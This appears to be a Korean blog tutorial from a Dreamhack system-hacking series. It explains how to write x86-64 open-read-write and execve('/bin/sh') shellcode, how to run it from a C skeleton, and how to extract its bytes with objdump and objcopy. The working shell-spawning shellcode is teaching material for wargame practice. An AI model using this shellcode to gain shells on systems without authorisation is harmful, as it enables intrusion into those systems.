보안전문가로 향하는 길

[시스템 해킹] ORW(open-read-write), execve, objdump 본문

드림핵/시스템 해킹

[시스템 해킹] ORW(open-read-write), execve, objdump

뒷문은 필수 2024. 1. 1. 20:20
728x90

이번에는 셸 코드와 익스플로잇에 대해서 알아보자

 

셸코드(Shellcode)는 익스플로잇을 위해 제작된 어셈블리 코드 조각을 말한다.

 


먼저 ORW 셸 코드를 알아보도록 하자

 

orw 셸코드는 파일을 열고, 읽은 뒤 화면에 출력해주는 셸코드이다.

알아보고자 하는 셸 코드를 c언어로 작성하면 아래와 같은 코드이다

flag라는 파일을 읽기 모드로 열어서 화면에 출력하는 코드다.

char buf[0x30];

int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);
 

 

위 코드를 어셈블리어로 만들어 보기 전에 알아야 할 사전지식이 있다.syscall에 대해서 알아야 한다. syscall은 커널에 접근하기 위한 인터페이스이다.

 

syscall           rax                        arg0 (rdi)                                        arg1 (rsi)                            arg2 (rdx)

read 0x00 unsigned int fd char *buf size_t count
write 0x01 unsigned int fd const char *buf size_t count
open 0x02 const char *filename int flags umode_t mode

 

어셈블러에서 syscall함수를 호출할 때 rdi, rsi, rdx에 있는 값을 이용한다.

즉 rax에 0x00이 있어야 read를 실행 할 수 있고

rax에 0x01가 있어야 write를 실행할 수 있고

rax에 0x02가 있어야 open을 실행할 수 있다.

 

 

int open(const char *filepath, int flag, mode_t mode)

 

 

먼저 open부터 살펴보도록 하자. 3가지의 매개변수를 갖는다.

 

첫번째는 파일의 경로, 두번째는 파일을 열 때 사용할 옵션, 세번째는 O_CREAT옵션을 사용할 때 사용한다.

 

https://bubble-dev.tistory.com/entry/CC-open-%ED%95%A8%EC%88%98-%ED%8C%8C%EC%9D%BC-%EC%83%9D%EC%84%B1-%EC%9D%BD%EA%B8%B0-%EC%93%B0%EA%B8%B0

 

C/C++ open 함수 - 파일 생성 / 읽기 / 쓰기

Open 함수 기능 파일을 열거나 생성 후 열어주는 함수 함수원형 #include #include #include int open(const char *filepath, int flag); int open(const char *filepath, int flag, mode_t mode); 매개변수 const char *filepath 열고자 하

bubble-dev.tistory.com

 

flag의 매개변수로 0은 read를 1은 write를 2를 read-write를 의미한다.

 

open

syscall                    rax                     arg0 (rdi)                                         arg1 (rsi)           arg2 (rdx)

open 0x02 const char *filename int flags umode_t mode
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)

 

위 코드를 살펴보도록 하자

첫번째로 해야 할 일은 /tmp/flag라는 문자열을 메모리에 위치시켜야 한다.

이를 위해 0x616c662f706d742f67(/tmp/flag) 를 push해야 한다. 

스택에는 8바이트 단위로 push를 할 수 있기 때문에 0x67을 push한 후 나머지를 push한다

8바이트를 맞추기 위해 0x67을 push후 0x616c662f706d742f67(/tmp/flag) 를 push했다

rdi를 rsp로 바꿔줌으로 첫번째 매개변수에 파일의 경로를 주었다.

읽기모드를 열기 위해 rsi를 0으로 초기화 해주고 세번째 인자는 null을 주기위해 0으로 초기화한다.

 

read

https://badayak.com/entry/C%EC%96%B8%EC%96%B4-%ED%8C%8C%EC%9D%BC-%EC%9D%BD%EA%B8%B0-%ED%95%A8%EC%88%98-read

 

C언어 파일 읽기 함수 read()

C read() 파일 읽기 함수 open() 함수로 열기한 파일의 내용을 읽기 합니다. 헤더: unistd.h 형태: ssize_t read (int fd, void *buf, size_t nbytes) 인수: int fd 파일 디스크립터 void *buf 파일을 읽어 들일 버퍼 size_t nb

badayak.com

syscall                       rax                             arg0 (rdi)                                      arg1 (rsi)            arg2 (rdx)

read 0x00 unsigned int fd char *buf size_t count

 

mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)

 

위 코드를 살펴보도록 하자

rdi에 파일의 이름을 줘야 한다. 위에서 syscall을 호출함으로 rax에 fd의 반환값이 저장되어 있다.따라서 rdi에 rax의 값을 넘겨주었다.총 0x30만큼의 내용을 읽을 것이기 때문에 rsi에 rsp의 주소를 복사 후rsi - 0x30을 해줘서 스택의 공간을 만든다.(만약 무슨 소리인지 모른다면 어셈블리어와 컴퓨터시스템에 대해 배우고오자)

rdx는 null을 주기위해 0으로 초기와 하고

read를 실행하기 위해서 rax를 0으로 만들어 준다.

 

💡 fd란?

파일 서술자(File Descriptor, fd)는 유닉스 계열의 운영체제에서 파일에 접근하는 소프트웨어에 제공하는 가상의 접근 제어자입니다. 프로세스마다 고유의 서술자 테이블을 갖고 있으며, 그 안에 여러 파일 서술자를 저장합니다. 서술자 각각은 번호로 구별되는데, 일반적으로 0번은 일반 입력(Standard Input, STDIN), 1번은 일반 출력(Standard Output, STDOUT), 2번은 일반 오류(Standard Error, STDERR)에 할당되어 있으며, 이들은 프로세스를 터미널과 연결해줍니다. 그래서 우리는 키보드 입력을 통해 프로세스에 입력을 전달하고, 출력을 터미널로 받아볼 수 있습니다.
프로세스가 생성된 이후, 위의 open같은 함수를 통해 어떤 파일과 프로세스를 연결하려고 하면, 기본으로 할당된 2번 이후의 번호를 새로운 fd에 차례로 할당해줍니다. 그러면 프로세스는 그 fd를 이용하여 파일에 접근할 수 있습니다.

 

 

write

https://badayak.com/entry/C%EC%96%B8%EC%96%B4-%ED%8C%8C%EC%9D%BC-%EC%93%B0%EA%B8%B0-%ED%95%A8%EC%88%98-write

 

C언어 write 함수 파일 쓰기

C함수 파일 쓰기 write() open() 함수로 열기를 한 파일에 쓰기를 합니다. open()함수는 fcntl.h 에 정의 되어 있지만 write(), read(), close()는 unistd.h에 정의 되어 있습니다. 헤더: unistd.h 형태: ssize_t write (int

badayak.com

write (int fd, const void *buf, size_t n)

첫번째 매개변수 : 파일, 두번째 매개변수 : 버버, 세번째 매개변수 : 쓰기할 바이트 갯수

syscall             rax                                arg0 (rdi)                               arg1 (rsi)                            arg2 (rdx)

write 0x01 unsigned int fd const char *buf size_t count
mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

 

위 코드를 살펴보도록 하자

write에서 첫번째 매개변수로 1을 준다면 모니터에 출력을 한다.rsi와 rdx는 위에서 이미 지정해 놓았다.write를 사용하기 위해서 rax를 1로만 만들어 주면 된다.

 

전체코드

push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)

mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)

mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

 

 

 

 

어셈블리 파일을 컴파일

어셈블리 코드를 컴파일 하는 법은 여러가지 이지만 여기에서는 셸코드를 실행할 수 있는

스켈레톤 코드를 c언어로 작성해서 사용한다.

// File name: sh-skeleton.c
// Compile Option: gcc -o sh-skeleton sh-skeleton.c -masm=intel

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "Input your shellcode here.\n"
    "Each line of your shellcode should be\n"
    "seperated by '\n'\n"

    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c  # rax = sys_exit\n"
    "syscall        # exit(0)");

void run_sh();

int main() { run_sh(); }

 

 

위 스켈레톤을 사용해서 코드를 작성

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "push 0x67\n"
    "mov rax, 0x616c662f706d742f \n"
    "push rax\n"
    "mov rdi, rsp    # rdi = '/tmp/flag'\n"
    "xor rsi, rsi    # rsi = 0 ; RD_ONLY\n"
    "xor rdx, rdx    # rdx = 0\n"
    "mov rax, 2      # rax = 2 ; syscall_open\n"
    "syscall         # open('/tmp/flag', RD_ONLY, NULL)\n"
    "\n"
    "mov rdi, rax      # rdi = fd\n"
    "mov rsi, rsp\n"
    "sub rsi, 0x30     # rsi = rsp-0x30 ; buf\n"
    "mov rdx, 0x30     # rdx = 0x30     ; len\n"
    "mov rax, 0x0      # rax = 0        ; syscall_read\n"
    "syscall           # read(fd, buf, 0x30)\n"
    "\n"
    "mov rdi, 1        # rdi = 1 ; fd = stdout\n"
    "mov rax, 0x1      # rax = 1 ; syscall_write\n"
    "syscall           # write(fd, buf, 0x30)\n"
    "\n"
    "xor rdi, rdi      # rdi = 0\n"
    "mov rax, 0x3c     # rax = sys_exit\n"
    "syscall           # exit(0)");

void run_sh();

int main() { run_sh(); }

 

아래 명령어로 파일을 만들어 준다.

echo 'flag{this_is_open_read_write_shellcode!}' > /tmp/flag

 

gcc -o test test.c -masm=intel

./test

 

 


Execve 셸 코드

https://badayak.com/entry/C%EC%96%B8%EC%96%B4-%EB%8B%A4%EB%A5%B8-%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%A8-%EC%8B%A4%ED%96%89-%ED%95%A8%EC%88%98execve

 

C언어 다른 프로그램 실행 함수execve()

C함수 다른 프로그램 실행 execve() 다른 프로그램을 실행하고 자신은 종료합니다. execle() 이나 execve() 처럼 exec 함수 중 e 로 끝나는 함수는 환경변수를 지정할 수 있습니다. 헤더: unistd.h 형태: int ex

badayak.com

https://www.it-note.kr/157

 

execve(2) - 프로그램 실행.

execve(2) #include int execve(const char *filename, char *const argv[], char *const envp[]); 실행가능한 파일인 filename의 실행코드를 현재 프로세스에 적재하여 기존의 실행코드와 교체하여 새로운 기능으로 실행합

www.it-note.kr

 

 

execve 셸코드는 임의의 프로그램을 실행하는 셸코드이다. 이를 이용하면 서버의 셸을 획득할 수 있다.

 

보통 웬만한 유닉스(리눅스) 계열에는 셸을 실행시키는 함수가 있다.

해당 함수를 실행시키는 법을 알아보자

 

execve(“/bin/sh”, null, null)

 

syscall          rax                         arg0 (rdi)                                 arg1 (rsi)                            arg2 (rdx)

execve 0x3b const char *filename const char *const *argv const char *const *envp

 

mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp  ; rdi = "/bin/sh\x00"
xor rsi, rsi  ; rsi = NULL
xor rdx, rdx  ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall       ; execve("/bin/sh", null, null)

어셈블리어 코드

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "mov rax, 0x68732f6e69622f\n"
    "push rax\n"
    "mov rdi, rsp  # rdi = '/bin/sh'\n"
    "xor rsi, rsi  # rsi = NULL\n"
    "xor rdx, rdx  # rdx = NULL\n"
    "mov rax, 0x3b # rax = sys_execve\n"
    "syscall       # execve('/bin/sh', null, null)\n"

    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c  # rax = sys_exit\n"
    "syscall        # exit(0)");

void run_sh();

int main() { run_sh(); }

c언어 코드

 

gcc -o execve execve.c -masm=intel

./execve

 

 

objdump

objdump를 이용해서 byte code의 형태로 추출

 

section .text
global _start
_start:
xor    eax, eax
push   eax
push   0x68732f2f
push   0x6e69622f
mov    ebx, esp
xor    ecx, ecx
xor    edx, edx
mov    al, 0xb
int    0x80

 

nasm -f elf shellcode.asm

objdump -d shellcode.o

 

 

objcopy --dump-section .text=shellcode.bin shellcode.o

xxd shellcode.bin